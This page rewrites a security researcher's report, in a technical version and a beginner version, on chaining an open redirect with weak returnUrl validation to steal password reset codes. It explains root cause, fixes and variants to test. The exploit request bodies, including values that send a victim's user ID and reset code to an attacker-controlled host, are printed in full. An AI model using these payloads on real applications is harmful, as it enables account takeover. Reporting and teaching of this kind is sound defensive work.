Hack Reset Password Code Using Open Redirect
The password reset request accepted a returnUrl value that was only checked to start with a slash, so a chained open redirect on the login page could send the victim's reset code to an attacker-controlled site. An attacker who knew a victim's email could trigger a reset and, if the victim clicked the link, capture the user ID and reset code to take over the account.
medium.com
Published on medium.com
While I was testing one of our clients web-application, I found an Open Redirect vulnerability in a parameter named “return” https://app.reacted.com/login?return=https://google.com ,, very simple…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
During a test of a client web application, the researcher found an open redirect in a login parameter named return. The same application also exposes a forgotten-password flow that builds the reset link from a JSON field called returnUrl. The write-up shows how the two combine: the reset link can be pointed at the open redirect, which then forwards the user to an attacker-controlled site together with the user ID and reset code.
The application in the report is referred to as app.reacted.com. The report does not name the client, the program or the platform beyond that.
Setup
The report does not describe any accounts, roles, tools or versions. The testing was done against the client's web application, and the researcher used their own email address in the reset request. The only precondition visible in the text is that the attacker needs to be able to trigger a password reset for the victim's email address, which is the normal entry point of the feature.
Finding it
The first observation was an open redirect on the login page. The return parameter takes a URL and the application redirects to it:
https://app.reacted.com/login?return=https://google.com
That alone is a low-impact issue. The interesting part came later, while testing the reset password functionality. The request responsible for resetting the user password looked like this:
POST /ForgotPassword HTTP/1.1
Host: app.reacted.com
— {some headers}
Cookie: cookies,,,
DNT: 1
Connection: close
{“email”:”[redacted]”,”returnUrl”:”/reset/password/:userId/:code”}
The body is JSON with two keys: email, the address the reset is sent to, and returnUrl, the path the reset link should point at. The default value is /reset/password/:userId/:code, a relative path with placeholders for the user ID and the reset code. The returnUrl key is what caught the researcher's attention: it controls where the reset link sends the user, and the link carries the reset code.
Exploitation
Step 1: try an absolute URL
The first attempt was to replace the relative path with an absolute URL pointing at the attacker's site, keeping the same path structure:
”returnUrl”:”https://my-website.com/reset/password/:userId/:code”
The idea was that when the user clicks the reset password link, they would be redirected to my-website.com with the reset code in the path. The server answered with a 500 error.
https://my-website.com/reset/password/:userId/:code >> 500 error
Step 2: try a protocol-relative URL
Next came a protocol-relative value, starting with two slashes:
//my-website.com/reset/password/:userId/:code >> 200 OK
This time the request succeeded, but the reset link that was generated was not what the attacker wanted:
https://app.reacted.com//my-website.com/reset/password/{user-ID}/{Reset-Code}
The value was appended to the application's own origin, so the link stayed on app.reacted.com and the code never left the site.
Step 3: try a bare hostname
A value without a scheme was also rejected:
bla-bla.com/reset/password/:userId/:code >> 500 Error
Step 4: work out the validation rule
After these attempts the researcher concluded that the backend checks that the returnUrl value starts with /. Absolute URLs and bare hostnames fail that check, which explains the 500 errors, while a value beginning with // passes it and is then concatenated onto the application origin.
Step 5: chain the open redirect
The validation only constrains the first character of the value. It does not stop the value from being a path on the application that itself redirects elsewhere. The open redirect found at the start of the test provides exactly that path. The returnUrl was changed to point at the login endpoint with the return parameter set to the attacker's site:
{”returnUrl”:”/login?return=https://my-website.com/reset/password/:userId/:code}
This value starts with /, so it passes the backend check. The reset link that was generated was:
https://app.reacted.com/login?return=https://my-website.com/reset/password/{userID}/{Random-Code}
When the victim clicks the link in their inbox, the application processes the login route, sees the return parameter and redirects to https://my-website.com/reset/password/{userID}/{Random-Code}. The user ID and the reset code end up in the attacker's logs, and the attacker can then use them to take over the account.
Root cause
The reset flow trusts a user-supplied returnUrl and only validates that it starts with /. That check is meant to keep the value on the application, but it treats any string beginning with a slash as a local path. A path that points at an endpoint with its own redirect parameter is still local, yet it forwards the user off-site, and the reset code travels in the URL. The open redirect on the login page is the second half of the problem: without it the constrained returnUrl would not be enough, and with it the validation is bypassed by composition rather than by a malformed value.
Impact
An attacker who can submit a reset request for a victim's email address can make the reset link point at the open redirect and then at a site they control. If the victim clicks the link, the user ID and reset code are delivered to the attacker, who can then take over the account.
Fix
The two issues it identifies are the open redirect in the return parameter and the weak validation of returnUrl in the reset flow. A fix would need to address both: the reset flow should not accept arbitrary paths as a redirect target, and the login redirect should not send users to arbitrary external URLs.
Variants to test
- Submit a reset request with an absolute
returnUrland check whether the server rejects it or reflects it into the link. A positive result is a reset link whose host is not the application's. - Submit a protocol-relative value such as
//attacker.example/resetand inspect the generated link. A positive result is a link that resolves to the attacker's host rather than being concatenated onto the application origin. - Submit a value starting with
/that points at any endpoint on the application which takes a redirect parameter, and check whether the generated link follows that redirect. A positive result is a reset link that lands on an external host with the code in the path. - Look for other parameters on the same application that accept a URL and redirect to it, and try them as the first hop in the chain. A positive result is any endpoint that forwards to an external URL while the reset link still starts with
/. - Check whether the reset code is validated against the user ID and whether it expires, by replaying a captured code. A positive result is a code that still works after being used or after a delay.
What happened, in plain words
A security researcher was testing a website belonging to one of their clients. While poking around the login page, they noticed something small: the page had a feature that let it send you somewhere else after you logged in. You could tell it where to go by putting a web address in the link. That kind of feature is called an open redirect, and on its own it is not very dangerous. It just means the site will happily forward you to any address you name.
Later, while testing the "forgot my password" feature, the researcher found something more interesting. When you ask the site to reset your password, the site builds a special link and emails it to you. That link contains a secret code. Whoever has that code can set a new password for the account. The researcher noticed that the request which asks for the reset also contains a field that decides where the reset link will point. If that field could be made to point at the researcher's own website, the secret code would be delivered straight to them.
The rest of the story is about how the researcher got around a small safety check the site had put in place, by combining the two findings: the open redirect and the reset link. The result was that a victim who clicked the emailed link would hand over their user ID and reset code to the researcher, who could then take over the account.
This article walks through the same steps the researcher took, in the same order, and explains every term along the way. If you can use a browser, you can follow it.
Some background before we start
A few ideas come up again and again, so here they are up front.
- A web application is a program that runs on a server and that you use through your browser. When you type an address, click a button or submit a form, your browser sends a request to the server, and the server sends back a response. That back and forth is the whole of what happens on a website.
- An HTTP request is the message your browser sends. It has a few parts: a method (like
GETto fetch something orPOSTto send data), a path (which part of the site you want), headers (small labelled pieces of information such as which browser you use), and sometimes a body (the actual data you are sending, for example a form). - A URL is a web address, like
https://app.reacted.com/login. The part before the first single slash is the host (hereapp.reacted.com), and the part after it is the path (here/login). A URL that starts with a single/and no host is called a relative URL: it means "somewhere on the same site". A URL that includes a host is called absolute. - A parameter (also called a query parameter) is a small piece of information attached to the end of a URL after a
?. Inhttps://app.reacted.com/login?return=https://google.com, the parameter is namedreturnand its value ishttps://google.com. Parameters are how a URL can carry instructions. - JSON is a simple text format for structured data, used a lot between browsers and servers. It looks like
{"name": "value"}. Each entry is a key (the label) and a value (the content). - A cookie is a small piece of data a website stores in your browser so it can recognise you on the next request. It is often used to keep you logged in. A token is similar in spirit: a short string that acts like a temporary pass.
- A reset code is a secret that a site emails to you when you forget your password. You click the link containing it, and the site lets you set a new password. Anyone who has the code can do the same, which is why it must stay secret.
- An open redirect is a feature where a site takes a URL from the user and forwards the browser to it, without checking that the destination is trustworthy. It is often used after login ("send me back to the page I came from"), but if it accepts any address, an attacker can use it to send victims to a site they control.
- A 500 error is the server saying "something went wrong on my side". It usually means the server did not like what it received and crashed or refused to continue. A 200 OK is the normal "here is your answer" response.
- Backend means the part of the application that runs on the server, as opposed to the frontend, which is what you see in the browser. When we say "the backend checks something", we mean the server-side code does a test before acting.
- Logs are records a server keeps of requests it receives. If an attacker can make a victim's browser request a URL on the attacker's own server, the attacker's logs will contain that URL, including anything secret it carried.
With those in hand, the rest of the article should read easily.
Context
During a test of a client web application, the researcher found an open redirect in a login parameter named return. The same application also has a forgotten-password flow that builds the reset link from a JSON field called returnUrl. The write-up shows how the two combine: the reset link can be pointed at the open redirect, which then forwards the user to an attacker-controlled site together with the user ID and reset code.
The application in the report is referred to as app.reacted.com. The report does not name the client, the program or the platform beyond that.
Setup
The report does not describe any accounts, roles, tools or versions. The testing was done against the client's web application, and the researcher used their own email address in the reset request. The only precondition visible in the text is that the attacker needs to be able to trigger a password reset for the victim's email address, which is the normal entry point of the feature.
Finding it
The first observation was an open redirect on the login page. The return parameter takes a URL and the application redirects to it:
https://app.reacted.com/login?return=https://google.com
Line by line:
https://app.reacted.com/loginis the login page of the application. The host isapp.reacted.comand the path is/login.- The
?starts the list of parameters. return=https://google.comis one parameter. Its name isreturnand its value is the address of Google.- When the browser visits this URL, the application reads the
returnvalue and sends the browser tohttps://google.com.
The researcher could have put any address there, not just Google's. That is what makes it an open redirect: the site does not check whether the destination is one it trusts. On its own this is a low-impact issue, because the worst it does is send a user to a page they did not expect. The interesting part came later, while testing the reset password functionality. The request responsible for resetting the user password looked like this:
POST /ForgotPassword HTTP/1.1
Host: app.reacted.com
— {some headers}
Cookie: cookies,,,
DNT: 1
Connection: close
{“email”:”[redacted]”,”returnUrl”:”/reset/password/:userId/:code”}
Line by line:
POST /ForgotPassword HTTP/1.1is the first line of the request.POSTis the method, used when you are sending data to the server./ForgotPasswordis the path of the feature that handles forgotten passwords.HTTP/1.1is the version of the protocol being spoken.Host: app.reacted.comtells the server which site the request is for. One server can host many sites, so this header picks the right one.— {some headers}is a placeholder in the report. It stands for other headers the researcher did not copy, such as the browser's user agent or content type. The report does not list them.Cookie: cookies,,,is a placeholder too. In a real request this would carry the browser's cookies, which identify the session.DNT: 1is the "Do Not Track" header, a browser preference asking sites not to track the user. It is not related to the vulnerability; it just happened to be in the captured request.Connection: closeasks the server to close the network connection after the response. Again, not related to the bug.- The last line is the body of the request, in JSON. It has two keys:
email, the address the reset is sent to, andreturnUrl, the path the reset link should point at. The default value is/reset/password/:userId/:code, a relative path with placeholders for the user ID and the reset code. The:userIdand:codeparts are not literal text; they are placeholders that the server fills in with the real values when it builds the link.
The returnUrl key is what caught the researcher's attention: it controls where the reset link sends the user, and the link carries the reset code. If that destination could be changed to a site the researcher controlled, the code would arrive there.
Exploitation
Step 1: try an absolute URL
The first attempt was to replace the relative path with an absolute URL pointing at the attacker's site, keeping the same path structure:
”returnUrl”:”https://my-website.com/reset/password/:userId/:code”
Line by line:
returnUrlis the key. It is the same key the server uses to decide where the reset link points.https://my-website.com/reset/password/:userId/:codeis the value. It is an absolute URL: it names a host (my-website.com) and a path. The:userIdand:codeplaceholders are kept so the server will fill them in as before.
The idea was that when the user clicks the reset password link, they would be redirected to my-website.com with the reset code in the path. The server answered with a 500 error.
https://my-website.com/reset/password/:userId/:code >> 500 error
Line by line:
- The left side is the value that was submitted.
>>is just an arrow meaning "resulted in".500 erroris the server's response: it refused the value and failed to build a link.
So the server does not accept an absolute URL in returnUrl. Something in the backend is checking the value.
Step 2: try a protocol-relative URL
Next came a protocol-relative value, starting with two slashes:
//my-website.com/reset/password/:userId/:code >> 200 OK
Line by line:
//my-website.com/reset/password/:userId/:codeis the value. It starts with two slashes. In a browser, a URL starting with//means "same protocol as the current page, but a different host". So a browser would read this ashttps://my-website.com/...if the current page is on HTTPS.>> 200 OKmeans the server accepted the request and returned a normal response.
This time the request succeeded, but the reset link that was generated was not what the attacker wanted:
https://app.reacted.com//my-website.com/reset/password/{user-ID}/{Reset-Code}
Line by line:
https://app.reacted.comis the application's own host. The server has put its own address in front of the value.//my-website.com/reset/password/{user-ID}/{Reset-Code}is the value the researcher submitted, with the placeholders filled in.- The result is a link that stays on
app.reacted.com. The double slash after the host is odd, but a browser treats it as part of the path, not as a new host. So the code never leaves the site.
The lesson: the server is not just accepting the value, it is gluing it onto its own address. That is why the double slash did not help.
Step 3: try a bare hostname
A value without a scheme was also rejected:
bla-bla.com/reset/password/:userId/:code >> 500 Error
Line by line:
bla-bla.com/reset/password/:userId/:codeis a hostname followed by a path, with nohttps://in front.>> 500 Errormeans the server refused it, just like the absolute URL in step 1.
So the server rejected both the absolute URL and the bare hostname. It accepts values that start with //, but then glues them onto its own host.
Step 4: work out the validation rule
After these attempts the researcher concluded that the backend checks that the returnUrl value starts with /. Absolute URLs and bare hostnames fail that check, which explains the 500 errors, while a value beginning with // passes it and is then concatenated onto the application origin.
In plain words: the server has a rule that says "the value must begin with a slash, so it must be a path on this site". The rule is meant to keep the reset link on the application. But it only looks at the first character. It does not look at what comes after.
Step 5: chain the open redirect
The validation only constrains the first character of the value. It does not stop the value from being a path on the application that itself redirects elsewhere. The open redirect found at the start of the test provides exactly that path. The returnUrl was changed to point at the login endpoint with the return parameter set to the attacker's site:
{”returnUrl”:”/login?return=https://my-website.com/reset/password/:userId/:code}
Line by line:
returnUrlis the key, as before.- The value starts with
/, so it passes the backend check from step 4. /loginis the login page of the application. It is a real path on the site.?return=https://my-website.com/reset/password/:userId/:codeis a parameter attached to that path. It tells the login page to send the user tohttps://my-website.com/reset/password/:userId/:code.- The
:userIdand:codeplaceholders are kept so the server will fill them in.
This value starts with /, so it passes the backend check. The reset link that was generated was:
https://app.reacted.com/login?return=https://my-website.com/reset/password/{userID}/{Random-Code}
Line by line:
- The server has glued the value onto it, as before.
/login?return=https://my-website.com/reset/password/{userID}/{Random-Code}is the value the researcher submitted, with the placeholders filled in.- The whole link is on
app.reacted.com, so it looks legitimate to the victim. But when the victim clicks it, the login page reads thereturnparameter and forwards the browser tohttps://my-website.com/reset/password/{userID}/{Random-Code}.
When the victim clicks the link in their inbox, the application processes the login route, sees the return parameter and redirects to https://my-website.com/reset/password/{userID}/{Random-Code}. The user ID and the reset code end up in the attacker's logs, and the attacker can then use them to take over the account.
Root cause
The reset flow trusts a user-supplied returnUrl and only validates that it starts with /. That check is meant to keep the value on the application, but it treats any string beginning with a slash as a local path. A path that points at an endpoint with its own redirect parameter is still local, yet it forwards the user off-site, and the reset code travels in the URL. The open redirect on the login page is the second half of the problem: without it the constrained returnUrl would not be enough, and with it the validation is bypassed by composition rather than by a malformed value.
Impact
An attacker who can submit a reset request for a victim's email address can make the reset link point at the open redirect and then at a site they control. If the victim clicks the link, the user ID and reset code are delivered to the attacker, who can then take over the account.
Fix
The two issues it identifies are the open redirect in the return parameter and the weak validation of returnUrl in the reset flow. A fix would need to address both: the reset flow should not accept arbitrary paths as a redirect target, and the login redirect should not send users to arbitrary external URLs.
Variants to test
- Submit a reset request with an absolute
returnUrland check whether the server rejects it or reflects it into the link. A positive result is a reset link whose host is not the application's. - Submit a protocol-relative value such as
//attacker.example/resetand inspect the generated link. A positive result is a link that resolves to the attacker's host rather than being concatenated onto the application origin. - Submit a value starting with
/that points at any endpoint on the application which takes a redirect parameter, and check whether the generated link follows that redirect. A positive result is a reset link that lands on an external host with the code in the path. - Look for other parameters on the same application that accept a URL and redirect to it, and try them as the first hop in the chain. A positive result is any endpoint that forwards to an external URL while the reset link still starts with
/. - Check whether the reset code is validated against the user ID and whether it expires, by replaying a captured code. A positive result is a code that still works after being used or after a delay.
Glossary
- Absolute URL: a web address that includes a host, such as
https://my-website.com/reset. - Backend: the part of a web application that runs on the server, as opposed to the frontend that you see in the browser.
- Body (of a request): the data sent along with an HTTP request, for example a JSON object.
- Cookie: a small piece of data a website stores in your browser so it can recognise you on later requests.
- DNT: "Do Not Track", a browser header asking sites not to track the user.
- Header: a labelled piece of information attached to an HTTP request or response, such as
HostorCookie. - Host: the part of a URL before the first single slash, such as
app.reacted.com. - HTTP: the protocol browsers and servers use to exchange requests and responses.
- JSON: a text format for structured data, made of keys and values, such as
{"name": "value"}. - Key: the label in a JSON entry, such as
returnUrl. - Logs: records a server keeps of the requests it receives.
- Method: the type of an HTTP request, such as
GETorPOST. - Open redirect: a feature where a site forwards the browser to a URL supplied by the user, without checking that the destination is trustworthy.
- Parameter: a piece of information attached to a URL after a
?, made of a name and a value. - Path: the part of a URL after the host, such as
/login. - Protocol-relative URL: a URL starting with
//, meaning "same protocol as the current page, different host". - Relative URL: a URL that starts with a single
/and no host, meaning "somewhere on the same site". - Request: the message a browser sends to a server.
- Reset code: a secret emailed to a user so they can set a new password.
- Response: the message a server sends back to a browser.
- 500 error: a server response meaning something went wrong on the server side.
- 200 OK: a normal server response meaning the request was handled.
- Token: a short string that acts like a temporary pass, often used to identify a session.
- URL: a web address, such as
https://app.reacted.com/login. - Value: the content of a JSON entry or a parameter, such as
https://google.com. - Web application: a program that runs on a server and that you use through your browser.